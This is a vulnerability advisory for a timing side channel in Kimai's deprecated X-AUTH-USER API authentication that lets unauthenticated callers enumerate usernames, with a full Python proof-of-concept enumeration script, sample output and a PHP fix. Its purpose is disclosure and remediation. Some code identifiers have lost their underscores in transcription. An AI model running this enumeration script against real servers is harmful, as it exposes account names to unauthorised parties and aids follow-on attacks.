PT-2026-35626 · Packagist · Kimai/Kimai

Published

2026-04-17

·

Updated

2026-04-17

CVSS v3.1

3.7

Low

VectorAV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Details

src/API/Authentication/TokenAuthenticator.php calls loadUserByIdentifier() first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases ({"message":"Invalid credentials"}, HTTP 403), so the leak is purely timing.
The /api/* firewall has no login throttling configured, so the probe is unbounded.
The legacy X-AUTH-USER / X-AUTH-TOKEN headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.

Proof of concept

python
#!/usr/bin/env python3
"""Kimai username enumeration via X-AUTH-USER timing oracle."""

import argparse
import ssl
import statistics
import sys
import time
import urllib.error
import urllib.request

PROBE PATH = "/api/users/me"
BASELINE USER = "baseline no such user zzz"
DUMMY TOKEN = "x" * 32


def probe(url, user, ctx):
  req = urllib.request.Request(
    url + PROBE PATH,
    headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY TOKEN},
  )
  t0 = time.perf counter()
  try:
    urllib.request.urlopen(req, context=ctx, timeout=10).read()
  except urllib.error.HTTPError as e:
    e.read()
  return (time.perf counter() - t0) * 1000.0


def median ms(url, user, samples, ctx):
  return statistics.median(probe(url, user, ctx) for  in range(samples))


def load candidates(path):
  with open(path) as f:
    return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")]


def main():
  ap = argparse.ArgumentParser(description= doc .strip())
  ap.add argument("-u", "--url", required=True,
          help="base URL, e.g. https://kimai.example")
  ap.add argument("-l", "--list", required=True, metavar="FILE",
          help="one candidate username per line")
  ap.add argument("-t", "--threshold", type=float, default=15.0, metavar="MS",
          help="median delta over baseline that flags a real user")
  ap.add argument("-n", "--samples", type=int, default=15)
  ap.add argument("--verify-tls", action="store true")
  args = ap.parse args()

  url = args.url.rstrip("/")
  ctx = None if args.verify tls else ssl. create unverified context()
  candidates = load candidates(args.list)

  baseline = median ms(url, BASELINE USER, args.samples, ctx)
  print(f"baseline: {baseline:.1f} ms", file=sys.stderr)

  width = max(len(u) for u in candidates)
  print(f"{'username':<{width}} {'median':>8} {'delta':>8} verdict")
  print("-" * (width + 30))
  for user in candidates:
    m = median ms(url, user, args.samples, ctx)
    delta = m - baseline
    verdict = "REAL" if delta > args.threshold else "-"
    print(f"{user:<{width}} {m:>6.1f}ms {delta:>+6.1f}ms {verdict}")


if  name  == " main ":
  main()
Usage:
$ ./timing oracle.py -u https://target -l users.txt -n 15
[*] calibrating baseline with 15 samples
[*] baseline median: 37.7 ms
[*] probing 13 candidates (n=15, threshold=15.0 ms)

username            median   delta verdict
----------------------------------------------------------
user1@example.com        64.2ms  +26.5ms REAL
user2@example.com        72.4ms  +34.7ms REAL
user3@example.com        70.0ms  +32.3ms REAL
tester.nonexistent@example.com 37.2ms  -0.5ms -
admin              63.6ms  +25.9ms REAL
administrator          38.2ms  +0.4ms -
root              37.3ms  -0.4ms -
test              33.6ms  -4.1ms -
demo              38.2ms  +0.5ms -
kimai              37.0ms  -0.7ms -
nonexistent user aaa      38.1ms  +0.4ms -
nonexistent user bbb      37.5ms  -0.2ms -
nonexistent user ccc      38.4ms  +0.7ms -
In this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.

Fix

In TokenAuthenticator::authenticate(), run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:
php
private const DUMMY HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';

try {
  $user = $this->userProvider->loadUserByIdentifier($credentials['username']);
} catch (UserNotFoundException $e) {
  $this->passwordHasherFactory
    ->getPasswordHasher(User::class)
    ->verify(self::DUMMY HASH, $credentials['password']);
  throw $e;
}
The dummy hash must use the same algorithm and parameters as real user hashes so that verify() consumes equivalent CPU. Generate it once with password hash('dummy', PASSWORD ARGON2ID) and pin it as a constant.

Relevance

The practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026, so the issue only affects a legacy mechanism that is already being phased out. 

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-208

Related Identifiers

GHSA-JRC6-FMHW-FPQ2

Affected Products

Kimai/Kimai